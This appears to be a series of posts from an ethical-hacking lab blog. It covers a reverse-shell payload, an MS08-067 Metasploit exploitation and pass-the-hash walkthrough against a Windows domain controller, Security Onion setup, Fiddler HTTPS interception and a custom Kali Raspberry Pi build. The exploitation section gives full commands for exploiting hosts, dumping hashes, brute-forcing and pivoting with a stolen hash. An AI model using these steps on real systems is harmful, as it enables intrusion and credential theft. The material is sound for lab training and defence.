set lport 443
exploit

19_msfconsole_reverse_tcp_shell_configuration

19_msfconsole_reverse_tcp_shell_configuration

Now go to your Windows 2003 Domain Controller and execute the firefox shortcut on the desktop and pop back to your meterpreter session and you should now see a connected shell on your target system in the C:\Program Files\Mozilla Firefox directory where we dropped the payload.

20_msfconsole_reverse_tcp_shell_connected

20_msfconsole_reverse_tcp_shell_connected

Checking the processes on the target system with the Sysinternals Process explorer you should see firefox.exe with a cmd.exe child process running.

21_Sysinternals_Process_Explorer_process_checking

21_Sysinternals_Process_Explorer_process_checking

Checking the TCP/IP connections currently running from the Firefox.exe process you will see your Kali remote IP address running over https port 443.

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

Looking at the image file I noticed it was a bit weird looking too. Not important just something weird I noticed.

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

Checking the cmd.exe child process you will see that firefox.exe is the parent of cmd.exe which should never be the case!

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

That’s it, check your Security Onion logs and see what you can determine happened. There is some interesting information in there too that warrants a closer look.

I hope you take away some valuable lessons from this tutorial and inspect the processes running on your system if you don’t do that already! Be dubious of random executables online before you download them and don’t rely on VirusTotal to save you or make you feel safe. Also, stop using Windows Server 2003 and Windows XP as these systems are full of holes and  even though MS08_067 was exploited in this article and the previous one these systems are full of holes and unsupported so move away from them. It’s really child’s play and trivial for any script kiddie to own your box.

There is also a video to accompany this article seen here below.

Until next time play in the lab and see what you can do, read the man pages and read about security threats and subscribe to RSS feeds online. It’s an excellent way to learn and get to your end goal whatever that may be.

 

Exploiting ms08_067 – Windows XP & Windows Server 2003 Passing the hash

If you have ever encountered Conficker (aka Downup, Downadup and Kido depending on the AV vendor naming convention but I prefer Conficker) on a Windows system it has most likely been due to the system being unpatched for ms08_067 (CVE-2008-4250) published on October 23, 2008 replacing the previous vulnerability affecting some Windows systems published on August 08, 2006 MS06-040 (CVE-2008-4250) which makes it trivial to run arbitrary code on the target system via remote code execution (RCE) allowing an attacker to gain full system access of the target machine and do anything they want. This made the Conficker Worm one of the best worms since the Welchia Worm back in 2003 that was classed as a helpful worm as it looked for the Blaster Worm on an infected system deleted it and then patched the users system although it was not always successful with the patching process according to Microsoft. Conficker still exists and one of the variants of which there are five (A,B, B++, C & E)  even formed a huge botnet.

A nice visual representation of how the Conficker Worm spreads is outlined below courtesy of Wikimedia and it uses a nice little technique commonly used by worms and malware still today to spread laterally through a network exploiting weak passwords on the victim machines. Later another variant updated the previous versions to propagate via network shares and removable media and was recently discovered in a nuclear power plant in Germany where there machines were said to be riddled with it as is often the case when you discover a Conficker infection. I once witnessed Conficker hit over 25,000 machines in minutes after a Senior technician had plugged their USB into a system logged in as domain admin, lets just say that heads rolled!

Did you know that the name Conficker actually translates to “Configure Fucker” using the English word Configure (Con) and the German derogatory term “Ficker” which translates to Fucker in English so next time you see it think of the correct name and don’t refer to it as Downup for example as that’s just AV companies giving different names to malware families and confusing the masses.

Analysis has been difficult for researchers who struggled to get around the huge amount of pseudo-random generated domains generated on a daily basis of which there was 250 initially beaconing out to eight Top Level Domains (TLD’s) think .biz, .com etc. When it reached the Command and Control (C&C) server it then would update itself or send a new payload to the victim machine. Imagine dealing with a huge amount of Indicators of Compromise (IOC’s) like this yourself, it’s quite daunting but through collaboration in the Cyber Security Community which included Microsoft, ICANN, domain registry operators, anti-virus vendors, and academic researchers they managed to crack the Domain Generation Algorithim (DGA) that was being used to generate the 250 pseudo-random generated domains a day and register the domains in advance of the Conficker Author and block them from communicating with and updating the botnet which proved to be quite successful until Conficker C was released in early February 2009 and managed to update nearly half a million computers from the A/B variants to Conficker C.

Variants B and later also upgraded the armoring of it’s payloads to prevent them from being hijacked and moved from MD5 hashing to MD6 six weeks after a weakness was discovered in the MD5 algorithm and moved from an RSA 1024-bit private key to an RSA 4096-bit private key which meant Conficker didn’t unpack or execute the payload unless the signature was verified against the public key in the malware.

The most amazing thing that happened when Conficker updated the previous variants on April the 1st 2009 was that it now no longer generated 250 pseudo-random generated domains per day but a staggering 50,000 pseudo-random generated domains from over 116 TLD’s all over the world. The Conficker author was learning from the Conficker Working Group and adapting to make their research incredibly more difficult than it once had been.

This is why we still see Conficker today so long after it’s initial release eight years ago.

0_Conficker_infection_methods

0_Conficker_infection_methods

The exploit of MS08_067 works so well because the Windows Server service does not properly handle specially crafted RPC requests that are sent to it.

The Server service provides Remote Procedure Call (RPC) support so that you can print, access file shares and communicate with applications on other systems in the network using named pipe services.

The Remote Procedure Call (RPC) is a protocol which allows a program to request a service from a program that is located on another system remotely on the network. The remote system will be known as the client and the remote service-providing program is the server.

Anyway let’s get to the fun part.

Exploiting MS08_067 is a bit like writing “hello world” for the first time in a new language and it’s a great way to get started 🙂

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall
2 – Security Onion <– Monitoring & IDS
3 – Windows XP <– Joined to a Domain Controller
4 – Windows Server 2003 <– Domain Controller
5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Scanning a system using Nmap to check if it is vulnerable first to MS08_067.

2 – Exploiting the system with Metasploit using msfconsole.

3 – Grabbing password hashes on the compromised target system.

4 – Checking which hashes work with an Nmap script.

5 – Leveraging the hashes to attack a Domain Controller by passing the hash.

6 – Have a quick look at the system processes using Process Explorer.

7 – Have a quick look at the Security Onion Snort IDS Logs in Squil to see what events were triggered.

Kali Attacker = 192.168.1.102
XP Victim IP Address = 192.168.1.104
Windows Server 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

First by using one of the built in Nmap Scripting Engine (NSE) scripts we can scan the system to see whether it’s vulnerable to MS08_067 (It will also tell you if the system is already infected with Conficker)

Search for it on your system using the following command

locate nmap | grep ms08

You can then use the location of the file in your Nmap command as outlined below

nmap –script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse 192.168.1.104

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-vuln-ms08-067.nse” this is the directory in which the script we want to use resides.
“192.168.1.104” this is the target (victim) machine to scan

1_nmap_ms08_067_nse_vulnerability_scanning_script

1_nmap_ms08_067_nse_vulnerability_scanning_script

Now that we know the system is vulnerable to this attack we can fire up msfconsole and exploit the target.

Simply run msfconsole

2_load_msfconsole_to_exploit_ms08_067

2_load_msfconsole_to_exploit_ms08_067

Don’t you love the banners every time you login 🙂

3_msfconsole_loaded

3_msfconsole_loaded

Search for the ms08_067 module with a simple search

search ms08_067

The ranking of great below means this exploit as per the advisory will have great success in exploiting the target system by using a buffer overflow allowing you to run arbitrary commands on the target system via remote code execution (RCE)

4_msfconsole_search_for_ms08_067_exploit_module

4_msfconsole_search_for_ms08_067_exploit_module

Using the name and the directory found using search above you can now use that in order to exploit the vulnerable Windows XP target machine.

Use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.104
exploit

“use” tells metasploit that you would like to use the module that follows
“exploit/windows/smb/ms08_067_netapi” the module you want to use
“set” sets the options which follow into the newly loaded module
“RHOST 192.168.1.104” this is the option you want to set for your remote host IP address
“exploit” simply runs the module with your predefined options just entered.

Running shell gives you a command line shell on the target box, this is not needed and is just done for fun.

You can see the IP address of the Windows XP machine, alternatively you could just run ifconfig from the meterpreter as you would on your Linux system to get the same information.

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

Exit from the windows shell and then run hashdump from the meterpreter shell to easily gather the user accounts and password hashes on the target system.

6_meterpreter_dumping_password_hashes_Windows_XP

6_meterpreter_dumping_password_hashes_Windows_XP

Now that you have some usernames and passwords you can create some files using any editor of your choice but for pure simplicity I am using the cat command to create these quickly.

“Cat > usernames.txt” tells cat to create a file called usernames.txt. Everytime you want to go to the next line hit enter and exit and save the file by pressing CTRL + C on your keyboard.

“Cat usernames.txt” is used to then verify that the usernames have been added and saved.

Repeat the same process above for the hashes as you can see below.

7_create_username_and_password_hash_files_for_nmap_brute_force_script

7_create_username_and_password_hash_files_for_nmap_brute_force_script

Now that you have a username and hashes file you can pass these to another Nmap script to try against the target Windows 2003 Domain Controller and see if these accounts exist.

Search for the nmap smb-brute script with the following command:

Locate nmap | grep smb-brute

Run the following nmap command to check if any of the usernames and hashes are valid against the target system.

Nmap –script=/usr/share/nmap/scripts/smb-brute.nse –script-args=userdb=usernames.txt,passdb=hashes.txt 192.168.1.105

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-brute.nse” this is the directory in which the script we want to use resides.
“–script-args=” this allows you to send additional options to the NSE script
“userdb=usernames.txt” userdb is an option and usernames.txt is assigned to this variable which is then passed to the script.
“,” make sure to enter that comma without any spaces!
“ passdb=hashes.txt” passdb is an option and hashes.txt is assigned to this variable which is then passed to the script.
“192.168.1.105” this is the target (victim) machine to scan (You can change this to a subnet if you wish)

You can then see if any of the accounts are valid when the script runs. Any that are will have “Valid Credentials” appended at the end as can be seen below.

8_nmap_smb_brute_nse_script_Windows_Server_2003

8_nmap_smb_brute_nse_script_Windows_Server_2003

Using your confirmed valid credentials using the nmap script you can now pass the hash obtained from the Windows XP machine administrator account and use it against the Windows 2003 Server Domain Controller without knowing the actual plain text password or even cracking it. You can simply pivot and use the hash as leverage into another system on the network and in this case the keys to the kingdom as you are getting access to all the users accounts hosted on this server. In this guide I am using the psexec module within metasploit but you could also choose to upload the actual sysinternals psexec.exe to the Windows XP system and pivot from there leaving less of a trail to your Kali system when you pass the hash.

Use exploit/windows/smb/psexec
set rhost 192.168.1.105
set SMBUSER administrator
set SMBPASS 25d4823ec0752acc38f10713b629b565:cf4762a61e232355aa12d713a083d5fd
exploit

I’m not going to explain the above command usage as it should be self explanatory, if you are unsure check above and see if you can figure it out.

Once again shell is ran to get a Windows command prompt on the Windows 2003 Server and check the IP address.

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

If you run the Sysinternals process explorer on the Windows 2003 Server you can see your metasploit connection established running in rundll32.exe as can be seen below.

10_using_procexp_on_Windows_Server_2003_to_check_connections

10_using_procexp_on_Windows_Server_2003_to_check_connections

It’s a good idea to run metasploits hashdump again in order to gain the Active Directory users as you are sure to get more than the ones you gained on the Windows XP machine at the start.

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

I like to also run monitoring tools while playing around as you probably know from following along in previous tutorials namely the building of your own Snort IDS but have recently gone back to using Security Onion as it’s very user friendly to configure, setup and everything just works. The team over at security onion have really done a fantastic job getting this Open Source networking monitoring OS off the ground and I really advise having a play around with it as it’s easy to maintain and configure.

Below is a snippet from SQUIL making the Snort IDS signatures easy to run through and break down into the finer details. As you can see it detected Possible Shellcode. Policy related signatures are also triggered too which don’t mean what you think they mean. Yes you’re thinking it shows the system was attacked but in reality they mean it’s a policy signature and it’s detecting an EXE or DLL file download to the destination (target) system which in our case is part of an attack but in real life it could just be a random EXE or DLL that has been downloaded legitimately and sets off a False Positive. Most people think these are attacks when they are not.

12_Security_Onion_IDS_Logs_SGUIL

12_Security_Onion_IDS_Logs_SGUIL

I hope you enjoyed this write up, I had lots of fun making it and have also included a short video carrying out this attack which you can view below. Until next time, have fun!

 

 

Building an ethichal hacking lab on your laptop with VirtualBox – Part 14 – Security Onion – Network Monitoring Tools

If you followed along with my previous exercise on creating a Snort IDS for your lab you will most likely love Security Onion as it takes far less effort to get things configured and setup. It’s an excellent Ubuntu based operating system designed solely for both Host Intrusion Detection (HID’s) and Network Intrusion Detection (NID’s) for your network environment and a great tool to use in a lab environment due to the lack of configuration and setup time involved compared to doing everything yourself manually. Why reinvent the wheel when someone has already invented it for you? (Well sometimes it’s needed to learn about something new)

There is a huge host of network related tools that are installed which includes Snort, Suricata, Bro, OSSEC (HID’s), Sguil, Squert, ELSA, Xplico, NetworkMiner, Tcpreplay, Wireshark, tcpdump and a lot more great tools too for analyzing your network traffic.

It’s very easy to configure and excellent for use in a Production or even lab environment for monitoring network traffic.

What you will need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Pfsense Configured
3 – The Security Onion ISO downloaded
4 – Snort subscription to the free account is perfectly fine (Oinkcode)

Once you have all of the above obtained you are ready to start the installation.

Let’s get to it!

Follow along with the Pfsense configuration guide from the initial lab setup and feel free to allocate more memory to the Security Onion setup, I find 4GB’s to be sufficient for memory allocation and a 30GB Hard Disk for this setup. Assign your NIC’s in a similar fashion except make NIC Adapter 1 & 2 internal and set the Promiscuous Mode option to “Allow VM’s” then make NIC Adapter 3 an internal adapter only so that you will have Internet access for updates, you will also use it as the management interface from within your lab environment. Optionally you could set NIC adapters 1 & 2 as internal with Promiscuous mode set for VM’s and NIC adapter 3 as NAT which will allow for Internet connectivity without having Pfsense setup and configured to allow Internet access. The choice is yours here and depends on what you want to do. For this guide though, we will use the following NIC configuration outlined below.

NIC Adapter 1:

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

NIC Adapter 2:

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

NIC Adapter 3:

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

Once you’re finished with the VirtualBox configuration settings make sure you have pfsense running if you’re using the internal adapters in this guide otherwise the NAT adapter will give internet connectivity if you chose not to configure Pfsense.

Power on your Virtual Security Onion system and follow along.

Select your language and select Continue

4_Security_Onion_Installation_Configuration_select_language

4_Security_Onion_Installation_Configuration_select_language

Select Download updates while installing and select Continue

5_Security_Onion_Installation_Configuration_select_download_updates

5_Security_Onion_Installation_Configuration_select_download_updates

Click Continue to erase the disk and install Security Onion

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

At the next prompt just hit continue to Format the disk and continue with the install

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

Select your country on the map and select Continue again

8_Security_Onion_Installation_Configuration_select_your_country

8_Security_Onion_Installation_Configuration_select_your_country

Select your keyboard layout and select Continue

9_Security_Onion_Installation_Configuration_select_keyboard _layout

9_Security_Onion_Installation_Configuration_select_keyboard _layout

Enter your name, computer name, username and a password and select Continue again and wait for a bit for it to install.

10_Security_Onion_Installation_Configuration_username_system_and_password10_Security_Onion_Installation_Configuration_username_system_and_password

10_Security_Onion_Installation_Configuration_username_system_and_password

When finished click restart to continue

11_Security_Onion_Installation_Configuration_when_finished_click_restart

11_Security_Onion_Installation_Configuration_when_finished_click_restart

At the next prompt click Enter to continue with the reboot

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

Once the system has rebooted simply login with your username and password

13_Security_Onion_Enter_Username_and_password

13_Security_Onion_Enter_Username_and_password

Chances are there will be some further software updates once you login so select “Install Now” to proceed with the installation.

14_Security_Onion_Software_Update_First_boot

14_Security_Onion_Software_Update_First_boot

Once the update has completed select “Restart Now” to reboot the system again to complete the update process and then login again.

15_Security_Onion_Software_Update_First_boot_restart

15_Security_Onion_Software_Update_First_boot_restart

Now you will most likely want to have your system running in full screen to make playing with it easier so install VirtualBox Guest additions. You can follow along with the guide here at step 26 on how to do this as the process remains the same. After you have rebooted you should take a snapshot of the system so you can revert to this point and go back to a known good configuration if you break something while playing. It’s also handy for Malware analysis as you can revert back to the time before you were playing with it.

Now for the system configuration all you have to do is click on the Setup icon on the desktop, Enter your password and select “Yes, continue”

16_Security_Onion_Software_system_configuration_setup

16_Security_Onion_Software_system_configuration_setup

Next select “Yes, configure /etc/network/interfaces!”

17_Security_Onion_Software_system_configuration_configure

17_Security_Onion_Software_system_configuration_configure

Select eth2 as your management interface and select OK to continue

18_Security_Onion_Software_select_management_interface

18_Security_Onion_Software_select_management_interface

As this is in a Virtual environment with Pfsense providing DHCP already it’s fine to select DHCP to continue. Alternatively feel free to configure it manually as per your IP addressing scheme.

19_Security_Onion_Software_DHCP_addressing

19_Security_Onion_Software_DHCP_addressing

Select “Yes, configure monitor interfaces”

20_Security_Onion_monitor_interfaces

20_Security_Onion_monitor_interfaces

eth0 and eth1 should be already ticked to use as your monitoring interfaces so just click OK to continue

21_Security_Onion_monitor_interfaces_eth0_and_eth1

21_Security_Onion_monitor_interfaces_eth0_and_eth1

Yes you want to make your changes now so click on “Yes, make changes!”

22_Security_Onion_monitor_interfaces_make_changes

22_Security_Onion_monitor_interfaces_make_changes

Time to reboot again so select “Yes, reboot!” to continue

23_Security_Onion_reboot_to_continue

23_Security_Onion_reboot_to_continue

After the system has rebooted click on the setup icon on the desktop again and select “Yes, Continue” as you did before

24_Security_Onion_run_setup_again

24_Security_Onion_run_setup_again

This time though select “Yes, skip network configuration!” to continue

25_Security_Onion_skip_network_configuration

25_Security_Onion_skip_network_configuration

Select production mode to continue

26_Security_Onion_select_Production_Mode

26_Security_Onion_select_Production_Mode

Select Standalone as you are using the management and network sniffing interfaces on the same system

27_Security_Onion_select_Standalone

27_Security_Onion_select_Standalone

Select Best Practices to continue and select OK

28_Security_Onion_select_Best_Practices

28_Security_Onion_select_Best_Practices

Enter a username that you want to use for logging in to Squil, Squert and ELSA and select OK to continue

29_Security_Onion_Squil_Squert_Elsa_username

29_Security_Onion_Squil_Squert_Elsa_username

Next enter a password you would like to use for Squil, Squert and ELSA and confirm in the window that follows

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

Next select the Snort IDS and click OK to continue

31_Security_Onion_Snort_IDS_select

31_Security_Onion_Snort_IDS_select

Next select the option for Snort VRT ruleset and Emerging Threats NoGPL ruleset, this is why you obtained an Oink code from Snort.

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

Enter your Snort Oinkcode and click OK to continue

33_Security_Onion_Snort_IDS_Oinkcode

33_Security_Onion_Snort_IDS_Oinkcode

Keep the default PF_RING min_num_slots as 4096 and select OK to continue

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

eth0 and eth1 network interfaces should already be selected so just click on OK to continue

35_Security_Onion_Snort_NIC_monitor_interfaces

35_Security_Onion_Snort_NIC_monitor_interfaces

Congratulations you are nearly there just select “Yes, proceed with the changes!” to make the changes to your system permanent that you have just entered.

36_Security_Onion_Finishing_configuration_changes

36_Security_Onion_Finishing_configuration_changes

That’s it you’ve reached the end of the installation, just select OK for the next few windows and take note of any important directories like the ones shown in following screenshots in order to modify and make any changes to your configuration. Alternatively you can revert to your snapshot that you made earlier or just run the setup again from the desktop.

37_Security_Onion_Installation_and_configuration_complete

37_Security_Onion_Installation_and_configuration_complete

Sostat commands for checking detailed information about your service status, get a guided tour and share redacted network information with other sources.

38_Security_Onion_sostat_commands

38_Security_Onion_sostat_commands

Snort rule modification and sensor directories for making manual changes to these after you have things configured.

39_Security_Onion_Snort_pulledpork_rule_modification

39_Security_Onion_Snort_pulledpork_rule_modification

UFW Firewall rule modification if you need to change any of the firewall rules.

40_Security_Onion_UFW_Firewall_Rules

40_Security_Onion_UFW_Firewall_Rules

Take another snapshot of your system as you have everything configured now and you can revert back to it when needed.

That’s it for now, we will be using Security Onion in some upcoming tutorials so it will be handy to have it configured for when you are following along.

 

Fiddler 4 – Linux mono install configuration and testing

Fiddler is fun to use for many reasons, mostly because unlike WireShark or tcpdump for example you get a much nicer visual as to what you are looking at whether you are analysing some malware or just being paranoid about what a site is doing when you visit it. You will get a better understanding as to what traffic which is ingressing (Entering) and egressing (Leaving) your system are up to. Fiddler isn’t just for your browser, it will also see the traffic of system processes, web browsers and non-browsers.

You can install what is now Fiddler 4.0 easily by doing what is outlined below on your system.

Instructions for configuring mono (similar to wine) and using Fiddler can be found here.

Downloading fiddler is as simple as running wget on http://ericlawrence.com/dl/MonoFiddler-v4484.zip like so below

Create a folder for Fiddler in your user directory first
mkdir ~/Fiddler
cd ~/Fiddler
wget http://ericlawrence.com/dl/MonoFiddler-v4484.zip

01_Fiddler_4

01_Fiddler_4

unzip MonoFiddler-v4484.zip

02_Fiddler_4_unzip

02_Fiddler_4_unzip

Next download and install mono from Xamarin directly as this gets around any issues from installing directly from the software repository like I did previously which although is quite easy and simple leads to issues with HTTPS connections breaking a lot and it gets quite annoying.

Paste the following snippet below into the terminal in order to install the Xamarin version of mono as seen here.

sudo apt-key adv –keyserver hkp://keyserver.ubuntu.com:80 –recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
echo “deb http://download.mono-project.com/repo/debian wheezy main” | sudo tee /etc/apt/sources.list.d/mono-xamarin.list
sudo apt-get update

03_Fiddler_4_mono_xamarin_install

03_Fiddler_4_mono_xamarin_install

After apt-get update has run you are now good to install mono-complete as you would normally through apt-get

apt-get install mono-complete

04_Fiddler_4_mono_complete_install

04_Fiddler_4_mono_complete_install

This should finish without error

05_Fiddler_4_mono_complete_install_without_error

05_Fiddler_4_mono_complete_install_without_error

Now to start Mono for the first time you just need to run mono followed by the Fiddler.exe

mono Fiddler.exe

06_Fiddler_4_mono_starting_first_time

06_Fiddler_4_mono_starting_first_time

You will then hopefully see something like this appear once it has loaded for the first time

07_Fiddler_4_mono_loaded_first_time

07_Fiddler_4_mono_loaded_first_time

Now for some configuration so that we can decrypt the HTTPS traffic on the system by going to tools –> Fiddler Options as outlined below

08_Fiddler_4_Options

08_Fiddler_4_Options

Under the HTTPS heading choose to “Decrypt HTTPS traffic” which will then present you with the following pop up window. Just click OK to continue.

09_Fiddler_4_Options_Decrypt_SSL

09_Fiddler_4_Options_Decrypt_SSL

Click the button below “Export Root Certificate to desktop” and click OK to continue, this will do exactly as it suggests and copy the Fiddler Root Certificate directly to the desktop for you for your convenience in the next few steps.

10_Fiddler_4_Options_Decrypt_HTTPS_export_to_desktop

10_Fiddler_4_Options_Decrypt_HTTPS_export_to_desktop

Next in Firefox go the preferences –> Advanced –> Certificates –> View certificates

11_Fiddler_4_Firefox_Options_Certificates

11_Fiddler_4_Firefox_Options_Certificates

Under the Authorities tab choose import and select and import your Fiddler root certificate from the desktop and choose to trust it for websites and click OK

12_Fiddler_4_Firefox_Options_Certificates_trust_websites

12_Fiddler_4_Firefox_Options_Certificates_trust_websites

Next while still in the Firefox advanced configuration page click on networking and then click settings opposite “Configure how Firefox connects to the Internet”

13_Fiddler_4_Firefox_Options_Proxy_configuration

13_Fiddler_4_Firefox_Options_Proxy_configuration

Modify your proxy configuration to the same as mine below and click OK

14_Fiddler_4_Firefox_Options_Proxy_configuration_modified

14_Fiddler_4_Firefox_Options_Proxy_configuration_modified

At this point you might as well restart your system to make sure all the changes that you made are persistent and will keep after a reboot which they should.

Now that you have everything persistent and working correctly you can start playing around with your network traffic. Let’s look at two different encrypted HTTPS searches and perform a search query with both Google and DuckDuckGo and see if we can find our searches 🙂

For the test all you need to do is open up your browser and perform a search for your keyword, my keywords in this case will be the opposite search engine names. I have also clicked on the Decode button which will decode traffic for us and make it even more human readable than it is normally.

As you can see below I have Firefox open and have performed a search query on DuckDuckGo.com for the keyword “google”. The traffic is encrypted though so we shouldn’t be able to see this traffic normally.

15_Fiddler_4_Firefox_Decrypting_DuckDuckGo_HTTPS__Search_Query

15_Fiddler_4_Firefox_Decrypting_DuckDuckGo_HTTPS__Search_Query

As you can see the search query is easily discovered under the Raw tab to the right with the search query at the bottom 🙂

16_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query

16_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query

You can also see this under the HexView

17_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_HexView

17_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_HexView

WebForms view

18_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_WebForms

18_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_WebForms

TextView

19_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_TextView

19_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_TextView

Quite cool isn’t it but surely this won’t work against Google? Or at least that’s what you’re probably led to believe anyway as they use HTTPS now like other sites and nobody could possibly intercept that and decode it could they?

Well what did you just see above? Exactly that, it didn’t say Google but it was using HTTPS in order to secure the transmission of your search query. You may or may not be surprised however to discover that everything you type into Google’s search query is actually transmitted even if you haven’t submitted the search query by clicking enter or hitting the search button!

Creepy isn’t it, all those searches you cleared before hitting search were transmitted to Google for storage for the rest of your life.

20_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query

20_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query

Looking at all the areas as covered above for DuckDuckGo you will see your query submitted and searched for via Googles search in the same places. I will however only cover the Raw section for this search as you already know what exists in the others as you are trying this yourself anyway I hope so as not to just believe what you are seeing. Never trust anything outright and always try something yourself before accepting something is a certain way.

You can see the Raw output below

21_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Raw

21_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Raw

Cool isn’t it? Fiddler is brilliant for discovering Indicators of Compromise (IOC’s) about malicious domains really quickly and easily too. Some malware is aware of Fiddler though like most other tools used for analysis so keep that in mind. It has a lot more power under the hood than what I just covered so play around with it and see for yourself.

Type in a query and see if you can see your query as you typed it in stages depending on your speed

22_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_1

22_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_1

23_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_2

23_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_2

24_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_3

24_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_3

25_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_4

25_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_4

26_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_5

26_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_5

Do you see what the significance of the above WebForm tab screen-shots is?

Have fun 🙂

 

Kali Linux 2 Sana – Raspberry Pi 2 Wireless Tools Custom Build

Ok, it’s been a while since I last built a Custom Kali image for the raspberry Pi 2. It’s become much easier to build an image now and it takes very few steps which is excellent!

First start by creating a new directory called arm-stuff
mkdir ~/arm-stuff
Change into the arm-stuff directory
cd ~/arm-stuff
Clone the cross compiler for the armhf image from github
git clone https://github.com/offensive-security/gcc-arm-linux-gnueabihf-4.7
Set export PATH to set your cross compiler directory
export PATH=${PATH}:/root/arm-stuff/gcc-arm-linux-gnueabihf-4.7/bin
Clone the kali-arm-build-scripts from git
git clone https://github.com/offensive-security/kali-arm-build-scripts
Change into the newly created kali-arm-build-scripts directory
cd ~/arm-stuff/kali-arm-build-scripts

1_Kali_2_Rasberry_Pi_2_prep_work

1_Kali_2_Rasberry_Pi_2_prep_work

Running “ls” will show you everything in the kali-arm-build-scripts directory, use your editor of choice and open the Raspberry Pi 2 script “rpi2.sh” and modify it if you want to follow along and install only the wireless tools or you can leave the next two steps and just run “build-deps.sh” to install any dependacies you may require to build your image.

2_Kali_2_Rasberry_Pi_2_read_rpi2

2_Kali_2_Rasberry_Pi_2_read_rpi2

Modify everything after the “tools=” variable and replace the current string with “kali-linux-wireless” to install only the wireless tools. You can get a full list of meta packages to configure different builds.

3_Kali_2_Rasberry_Pi_2_rpi2_modify

3_Kali_2_Rasberry_Pi_2_rpi2_modify

I also like to keep the image file created during the build creation process so that I don’t have to run unxz against the newly created img.xz file when finished, once again completely optional and a personal preference.

4_Kali_2_Rasberry_Pi_2_rpi2_modify2

4_Kali_2_Rasberry_Pi_2_rpi2_modify2

Next before starting off the build process you should also check for any dependencies you may require by running build-deps.sh which should finish without any error.

5_Kali_2_Rasberry_Pi_2_rpi2_build-deps

5_Kali_2_Rasberry_Pi_2_rpi2_build-deps

Run the rpi2.sh script followed by whatever you want to name your finished build. My name below is “Kali_Pi2_Custom_Wireless_Tools” but feel free to change the name to anything else.

6_Kali_2_Rasberry_Pi_2_rpi2_start_build

6_Kali_2_Rasberry_Pi_2_rpi2_start_build

Let this run for some time depending on your system and Internet speed and when finished you should see a similar result like I have below:

7_Kali_2_Rasberry_Pi_2_rpi2_finish_build

7_Kali_2_Rasberry_Pi_2_rpi2_finish_build

Checking the contents of the directory with “ls” you will now see a newly created directory with your custom image inside.

8_Kali_2_Rasberry_Pi_2_rpi2_custom_image_location

8_Kali_2_Rasberry_Pi_2_rpi2_custom_image_location

Use dd to transfer the image to your microsd card:

dd if=name_of_image.img of=/your/microsd bs=1M

As always be very careful with dd so as not to image your running disk as it will destroy any drive or partition if you copy it to the wrong location, use “fdisk -l” and plug your card in and out and see what changes to get the correct device to copy to. You may see something like “/dev/sdb1” and “/dev/sdb2” in this case you want to use the whole disk so choose “/dev/sdb” to get the root of the drive.

